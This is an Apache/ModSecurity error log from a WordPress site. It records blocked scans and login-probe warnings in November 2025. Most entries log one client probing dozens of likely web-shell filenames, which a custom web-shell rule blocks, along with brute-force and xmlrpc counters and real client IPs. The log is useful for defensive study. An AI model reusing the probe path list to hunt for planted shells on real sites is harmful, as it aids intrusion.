[Sun Nov 16 17:58:43.471266 2025] [:error] [pid 52563:tid 52578] [client 43.166.247.155:36074] [client 43.166.247.155] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRmgU8-l3ey-hVJ5AuukxQAAAMw"]
[Sun Nov 16 18:43:04.493719 2025] [autoindex:error] [pid 52563:tid 52582] [client 155.94.163.116:61432] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sun Nov 16 22:00:10.368002 2025] [:error] [pid 34164:tid 34177] [client 187.188.79.71:56392] [client 187.188.79.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.188.79.71, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRnY6u93ccBCLD8-Q4aEFwAAAYk"]
[Mon Nov 17 10:09:44.083608 2025] [:error] [pid 39449:tid 39457] [client 182.44.8.254:54860] [client 182.44.8.254] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "aRqD6KUCymTA3MDfzLPfOAAAAAM"]
[Mon Nov 17 16:49:50.481165 2025] [:error] [pid 31419:tid 31422] [client 58.49.233.126:57690] [client 58.49.233.126] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aRrhrgHQ5Sbp7elmDZhwUQAAAoE"]
[Mon Nov 17 19:12:50.778583 2025] [:error] [pid 30801:tid 30820] [client 115.69.241.218:58124] [client 115.69.241.218] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 115.69.241.218, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRsDMjbGAU49DhMTBD7n-AAAAlE"]
[Mon Nov 17 20:01:53.032011 2025] [:error] [pid 32753:tid 32773] [client 103.186.31.45:57250] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/style.php"] [unique_id "aRsOsU6YNqI5vkht922DNwAAA9E"]
[Mon Nov 17 20:01:53.307044 2025] [:error] [pid 32753:tid 32777] [client 103.186.31.45:57316] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/style.php"] [unique_id "aRsOsU6YNqI5vkht922DOQAAA9U"]
[Mon Nov 17 20:01:53.590427 2025] [:error] [pid 32753:tid 32772] [client 103.186.31.45:57375] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/themes/style.php"] [unique_id "aRsOsU6YNqI5vkht922DSQAAA9A"]
[Mon Nov 17 20:01:55.435364 2025] [:error] [pid 32753:tid 32768] [client 103.186.31.45:57766] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/style.php"] [unique_id "aRsOs06YNqI5vkht922DfAAAA8w"]
[Mon Nov 17 20:01:55.678972 2025] [:error] [pid 32753:tid 32759] [client 103.186.31.45:57849] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style.php"] [unique_id "aRsOs06YNqI5vkht922DiAAAA8M"]
[Mon Nov 17 20:01:55.919978 2025] [:error] [pid 32753:tid 32757] [client 103.186.31.45:57923] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "aRsOs06YNqI5vkht922DlgAAA8E"]
[Mon Nov 17 20:01:56.174878 2025] [:error] [pid 32753:tid 32775] [client 103.186.31.45:57996] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "aRsOtE6YNqI5vkht922DpwAAA9M"]
[Mon Nov 17 20:01:56.448422 2025] [:error] [pid 32753:tid 32776] [client 103.186.31.45:58065] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/flower.php"] [unique_id "aRsOtE6YNqI5vkht922DtQAAA9Q"]
[Mon Nov 17 20:01:56.704079 2025] [:error] [pid 30801:tid 30826] [client 103.186.31.45:58139] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/gifclass.php"] [unique_id "aRsOtDbGAU49DhMTBD7wFAAAAlc"]
[Mon Nov 17 20:01:56.949277 2025] [:error] [pid 20913:tid 20931] [client 103.186.31.45:58239] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bless.php"] [unique_id "aRsOtOkafGNeN3nY1bdbLQAAA1A"]
[Mon Nov 17 20:01:57.212790 2025] [:error] [pid 32753:tid 32766] [client 103.186.31.45:58333] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/class-t.api.php"] [unique_id "aRsOtU6YNqI5vkht922DwAAAA8o"]
[Mon Nov 17 20:01:57.471448 2025] [:error] [pid 30801:tid 30826] [client 103.186.31.45:58520] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/blurbs.php"] [unique_id "aRsOtTbGAU49DhMTBD7wHQAAAlc"]
[Mon Nov 17 20:01:57.723098 2025] [:error] [pid 30801:tid 30817] [client 103.186.31.45:58603] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/akcc.php"] [unique_id "aRsOtTbGAU49DhMTBD7wIQAAAk4"]
[Mon Nov 17 20:01:57.975815 2025] [:error] [pid 65302:tid 65328] [client 103.186.31.45:58665] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/abcd.php"] [unique_id "aRsOtQPMSx2v85r8y7wEEwAAAVg"]
[Mon Nov 17 20:01:58.225270 2025] [:error] [pid 30801:tid 30811] [client 103.186.31.45:58729] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/shelp.php"] [unique_id "aRsOtjbGAU49DhMTBD7wLAAAAkg"]
[Mon Nov 17 20:02:00.052699 2025] [:error] [pid 32753:tid 32780] [client 103.186.31.45:59148] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/cord.php"] [unique_id "aRsOuE6YNqI5vkht922EFwAAA9g"]
[Mon Nov 17 20:02:00.301195 2025] [:error] [pid 32753:tid 32766] [client 103.186.31.45:59332] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/dex.php"] [unique_id "aRsOuE6YNqI5vkht922EIAAAA8o"]
[Mon Nov 17 20:02:00.552261 2025] [:error] [pid 15888:tid 15892] [client 103.186.31.45:59391] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "aRsOuAjAdDTBm4W3qW038QAAAcE"]
[Mon Nov 17 20:02:00.798752 2025] [:error] [pid 65302:tid 65314] [client 103.186.31.45:59442] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/file2.php"] [unique_id "aRsOuAPMSx2v85r8y7wEQQAAAUo"]
[Mon Nov 17 20:02:01.040429 2025] [:error] [pid 39449:tid 39478] [client 103.186.31.45:59533] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/zwso.php"] [unique_id "aRsOuaUCymTA3MDfzLNcVgAAABg"]
[Mon Nov 17 20:02:01.287438 2025] [:error] [pid 39449:tid 39468] [client 103.186.31.45:59601] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/zwso.php"] [unique_id "aRsOuaUCymTA3MDfzLNcXAAAAA4"]
[Mon Nov 17 20:02:01.534150 2025] [:error] [pid 39449:tid 39463] [client 103.186.31.45:59654] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_mna.php"] [unique_id "aRsOuaUCymTA3MDfzLNcYwAAAAk"]
[Mon Nov 17 20:02:01.799801 2025] [:error] [pid 39537:tid 39558] [client 103.186.31.45:59704] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/bolt.php"] [unique_id "aRsOuYZRrh1pcrdcLB-9yAAAANI"]
[Mon Nov 17 20:02:02.040509 2025] [:error] [pid 31419:tid 31445] [client 103.186.31.45:59859] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/shlo.php"] [unique_id "aRsOugHQ5Sbp7elmDZiZDQAAApg"]
[Mon Nov 17 20:02:03.711073 2025] [:error] [pid 32753:tid 32765] [client 103.186.31.45:60234] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/133.php"] [unique_id "aRsOu06YNqI5vkht922EVAAAA8k"]
[Mon Nov 17 20:02:03.956440 2025] [:error] [pid 39449:tid 39469] [client 103.186.31.45:60278] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ahax.php"] [unique_id "aRsOu6UCymTA3MDfzLNcewAAAA8"]
[Mon Nov 17 20:02:04.204958 2025] [:error] [pid 32753:tid 32761] [client 103.186.31.45:60322] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/php8.php"] [unique_id "aRsOvE6YNqI5vkht922EYQAAA8U"]
[Mon Nov 17 20:02:04.461069 2025] [:error] [pid 39537:tid 39564] [client 103.186.31.45:60404] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/lufix1.php"] [unique_id "aRsOvIZRrh1pcrdcLB-91wAAANg"]
[Mon Nov 17 20:02:04.713682 2025] [:error] [pid 65302:tid 65308] [client 103.186.31.45:60450] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/witmm.php"] [unique_id "aRsOvAPMSx2v85r8y7wEVwAAAUQ"]
[Mon Nov 17 20:02:04.954066 2025] [:error] [pid 39449:tid 39454] [client 103.186.31.45:60486] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/index.php"] [unique_id "aRsOvKUCymTA3MDfzLNcgAAAAAA"]
[Mon Nov 17 20:02:05.201771 2025] [:error] [pid 39449:tid 39461] [client 103.186.31.45:60528] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/index.php"] [unique_id "aRsOvaUCymTA3MDfzLNcggAAAAc"]
[Mon Nov 17 20:02:05.445076 2025] [:error] [pid 31419:tid 31444] [client 103.186.31.45:60576] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-content/index.php"] [unique_id "aRsOvQHQ5Sbp7elmDZiZJAAAApc"]
[Mon Nov 17 20:02:05.690148 2025] [:error] [pid 39537:tid 39554] [client 103.186.31.45:60622] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/ioxi-o.php"] [unique_id "aRsOvYZRrh1pcrdcLB-93gAAAM4"]
[Mon Nov 17 20:02:05.938138 2025] [:error] [pid 32753:tid 32775] [client 103.186.31.45:60648] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/222.php"] [unique_id "aRsOvU6YNqI5vkht922EawAAA9M"]
[Mon Nov 17 20:02:06.188066 2025] [:error] [pid 39449:tid 39455] [client 103.186.31.45:60693] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/files.php"] [unique_id "aRsOvqUCymTA3MDfzLNciAAAAAE"]
[Mon Nov 17 20:02:06.428627 2025] [:error] [pid 20913:tid 20926] [client 103.186.31.45:60753] [client 103.186.31.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/wp-editor.php"] [unique_id "aRsOvukafGNeN3nY1bdbawAAA0s"]
[Mon Nov 17 20:17:32.213481 2025] [:error] [pid 32753:tid 32761] [client 37.27.217.187:37110] [client 37.27.217.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.27.217.187, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRsSXE6YNqI5vkht922IQwAAA8U"]
[Mon Nov 17 20:17:33.601035 2025] [:error] [pid 32753:tid 32764] [client 37.27.217.187:37110] [client 37.27.217.187] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.27.217.187, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRsSXU6YNqI5vkht922IRAAAA8g"], referer: https://rcacivilgroup.com/wp-login.php
[Mon Nov 17 22:46:53.665845 2025] [:error] [pid 15888:tid 15898] [client 198.54.114.120:54576] [client 198.54.114.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.120, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRs1XQjAdDTBm4W3qW1J3gAAAcc"]
[Mon Nov 17 22:46:54.896941 2025] [:error] [pid 15888:tid 15915] [client 198.54.114.120:54576] [client 198.54.114.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.114.120, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRs1XgjAdDTBm4W3qW1J4AAAAdg"], referer: https://rcacivilgroup.com/wp-login.php
[Mon Nov 17 22:47:28.403796 2025] [:error] [pid 39451:tid 39510] [client 3.108.243.0:57812] [client 3.108.243.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.108.243.0, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRs1gOfgkqXTS0SO3fA1ZgAAAII"]
[Mon Nov 17 22:47:29.488509 2025] [:error] [pid 39451:tid 39527] [client 3.108.243.0:57812] [client 3.108.243.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.108.243.0, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRs1gefgkqXTS0SO3fA1aAAAAJM"], referer: https://rcacivilgroup.com/wp-login.php
[Mon Nov 17 22:48:03.307205 2025] [:error] [pid 39449:tid 39456] [client 162.0.229.236:59804] [client 162.0.229.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.229.236, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRs1o6UCymTA3MDfzLN66gAAAAI"]
[Mon Nov 17 22:48:04.969772 2025] [:error] [pid 39449:tid 39467] [client 162.0.229.236:59804] [client 162.0.229.236] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.0.229.236, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRs1pKUCymTA3MDfzLN66wAAAA0"], referer: https://rcacivilgroup.com/wp-login.php
[Mon Nov 17 22:51:03.826883 2025] [:error] [pid 15888:tid 15915] [client 198.54.119.149:44292] [client 198.54.119.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.119.149, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRs2VwjAdDTBm4W3qW1KXAAAAdg"]
[Mon Nov 17 22:51:05.305001 2025] [:error] [pid 15888:tid 15900] [client 198.54.119.149:44292] [client 198.54.119.149] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 198.54.119.149, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRs2WQjAdDTBm4W3qW1KXwAAAck"], referer: https://rcacivilgroup.com/wp-login.php
[Mon Nov 17 23:33:17.236047 2025] [:error] [pid 32753:tid 32763] [client 3.108.243.0:38564] [client 3.108.243.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.108.243.0, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtAPU6YNqI5vkht9224xgAAA8c"]
[Mon Nov 17 23:33:20.912367 2025] [:error] [pid 32753:tid 32776] [client 3.108.243.0:38564] [client 3.108.243.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.108.243.0, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRtAQE6YNqI5vkht9224yQAAA9Q"], referer: https://rcacivilgroup.com/wp-login.php
